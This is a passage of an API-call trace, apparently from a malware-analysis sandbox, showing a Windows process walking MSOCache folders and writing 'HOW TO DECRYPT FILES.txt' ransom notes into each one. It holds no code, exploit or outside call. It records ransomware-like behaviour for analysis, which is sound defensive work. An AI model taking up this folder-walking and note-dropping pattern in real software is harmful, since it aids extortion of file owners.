(in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x131a1c00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x131a1c00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xe84c60d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x780074, dwReserved1=0x74, cFileName="ShellUI.MST", cAlternateFileName="")) returned 0 [0057.819] FindClose (in: hFindFile=0x4f7048 | out: hFindFile=0x4f7048) returned 1 [0057.819] FindNextFileA (in: hFindFile=0x4f7088, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="{90140000-0117-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9AFC7~1")) returned 1 [0057.819] lstrcmpA (lpString1=".", lpString2="{90140000-0117-0409-1000-0000000FF1CE}-C") returned -1 [0057.819] lstrcmpA (lpString1="..", lpString2="{90140000-0117-0409-1000-0000000FF1CE}-C") returned -1 [0057.819] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\*.*") returned="*.*" [0057.819] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\", lpString2="{90140000-0117-0409-1000-0000000FF1CE}-C" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C" [0057.820] FindFirstFileA (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x780074, dwReserved1=0x74, cFileName=".", cAlternateFileName="")) returned 0x4f7048 [0057.847] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0057.847] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc112b50, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc112b50, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.847] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0057.847] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0057.847] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Access.en-us", cAlternateFileName="ACCESS~1.EN-")) returned 1 [0057.847] lstrcmpA (lpString1=".", lpString2="Access.en-us") returned -1 [0057.847] lstrcmpA (lpString1="..", lpString2="Access.en-us") returned -1 [0057.847] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\*.*") returned="*.*" [0057.847] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\", lpString2="Access.en-us" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us") returned="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us" [0057.847] FindFirstFileA (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f80d0, dwReserved1=0x4f80cb, cFileName=".", cAlternateFileName="")) returned 0x4f9580 [0057.851] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0057.851] FindNextFileA (in: hFindFile=0x4f9580, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4f0000, cFileName="..", cAlternateFileName="")) returned 1 [0057.851] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0057.851] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0057.851] FindNextFileA (in: hFindFile=0x4f9580, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa623330, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x266a00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="AccessMUI.msi", cAlternateFileName="ACCESS~1.MSI")) returned 1 [0057.851] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0057.851] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AccessMUI.msi") returned 1 [0057.851] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AccessMUI.msi") returned 1 [0057.851] lstrcmpiA (lpString1="", lpString2="AccessMUI.msi") returned -1 [0057.851] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\*.*") returned="*.*" [0057.851] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\") returned="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\" [0057.852] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\" | out: pszPath="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\") returned="" [0057.852] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\HOW TO DECRYPT FILES.txt" [0057.852] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\how to decrypt files.txt")) returned 0xffffffff [0057.852] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8c [0057.856] SetFileTime (hFile=0x8c, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0057.856] CloseHandle (hObject=0x8c) returned 1 [0057.857] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\", lpString2="AccessMUI.msi" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi" [0057.857] FindNextFileA (in: hFindFile=0x4f9580, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa5fe940, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x545, dwReserved0=0x0, dwReserved1=0x4fa8c8, cFileName="AccessMUI.xml", cAlternateFileName="ACCESS~1.XML")) returned 1 [0057.857] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0057.857] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AccessMUI.xml") returned 1 [0057.857] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AccessMUI.xml") returned 1 [0057.857] lstrcmpiA (lpString1="", lpString2="AccessMUI.xml") returned -1 [0057.857] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned="AccessMUI.msi" [0057.857] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\") returned="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\" [0057.857] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\" | out: pszPath="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\") returned="" [0057.857] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\HOW TO DECRYPT FILES.txt" [0057.857] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\how to decrypt files.txt")) returned 0x2020 [0057.858] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\", lpString2="AccessMUI.xml" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" [0057.858] FindNextFileA (in: hFindFile=0x4f9580, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3216e900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3216e900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa64a430, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1ab7e94, dwReserved0=0x430045, dwReserved1=0x590052, cFileName="AccLR.cab", cAlternateFileName="")) returned 1 [0057.858] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0057.858] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AccLR.cab") returned 1 [0057.858] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AccLR.cab") returned 1 [0057.858] lstrcmpiA (lpString1="", lpString2="AccLR.cab") returned -1 [0057.858] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned="AccessMUI.xml" [0057.858] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\") returned="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\" [0057.858] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\" | out: pszPath="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\") returned="" [0057.858] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\HOW TO DECRYPT FILES.txt" [0057.858] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\how to decrypt files.txt")) returned 0x2020 [0057.858] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\", lpString2="AccLR.cab" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab" [0057.858] FindNextFileA (in: hFindFile=0x4f9580, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xfc0c60c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x430045, dwReserved1=0x590052, cFileName="branding.xml", cAlternateFileName="")) returned 1 [0057.858] PeekMessageA (in: lpMsg=0x18f8d4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f8d4) returned 0 [0057.858] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="branding.xml") returned 1 [0057.858] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="branding.xml") returned 1 [0057.859] lstrcmpiA (lpString1="", lpString2="branding.xml") returned -1 [0057.859] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccLR.cab") returned="AccLR.cab" [0057.859] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\") returned="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\" [0057.859] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\" | out: pszPath="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\") returned="" [0057.859] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\HOW TO DECRYPT FILES.txt" [0057.859] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\how to decrypt files.txt")) returned 0x2020 [0057.859] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\", lpString2="branding.xml" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" [0057.859] FindNextFileA (in: hFindFile=0x4f9580, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11e8ef00, ftCreationTime.dwHighDateTime=0x1cacdea, ftLastAccessTime.dwLowDateTime=0x11e8ef00, ftLastAccessTime.dwHighDateTime=0x1cacdea, ftLastWriteTime.dwLowDateTime=0xfc0c60c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x91975, dwReserved0=0x430045, dwReserved1=0x590052, cFileName="branding.xml", cAlternateFileName="")) returned 0 [0057.859] FindClose (in: hFindFile=0x4f9580 | out: hFindFile=0x4f9580) returned 1 [0057.859] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa160f00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0x76c5023c, dwReserved1=0x3, cFileName="AccessMUISet.msi", cAlternateFileName="ACCESS~1.MSI")) returned 1 [0057.859] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.859] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AccessMUISet.msi") returned 1 [0057.859] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AccessMUISet.msi") returned 1 [0057.859] lstrcmpiA (lpString1="", lpString2="AccessMUISet.msi") returned -1 [0057.859] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\*.*") returned="*.*" [0057.859] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\" [0057.859] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\") returned="" [0057.859] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.860] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0xffffffff [0057.860] CreateFileA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x88 [0057.861] SetFileTime (hFile=0x88, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0057.861] CloseHandle (hObject=0x88) returned 1 [0057.862] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\", lpString2="AccessMUISet.msi" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" [0057.862] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x4f97b8, cFileName="AccessMUISet.xml", cAlternateFileName="ACCESS~1.XML")) returned 1 [0057.862] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.862] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AccessMUISet.xml") returned 1 [0057.862] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AccessMUISet.xml") returned 1 [0057.862] lstrcmpiA (lpString1="", lpString2="AccessMUISet.xml") returned -1 [0057.862] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned="AccessMUISet.msi" [0057.862] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\" [0057.862] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\") returned="" [0057.862] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") returned="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" [0057.862] GetFileAttributesA (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\how to decrypt files.txt")) returned 0x2020 [0057.862] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\", lpString2="AccessMUISet.xml" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" [0057.862] FindNextFileA (in: hFindFile=0x4f7048, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x780074, dwReserved1=0x74, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0057.863] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0057.863] PathFindFileNameA (pszPath="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned="AccessMUISet.xml" [0057.863] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\") returned="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\" [0057.863] PathAddBackslashA (in: pszPath="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\" | out: pszPath="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\") returned="" [0057.863] lstrcatA (in: lpString1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\HOW TO DECRYPT FILES.txt") 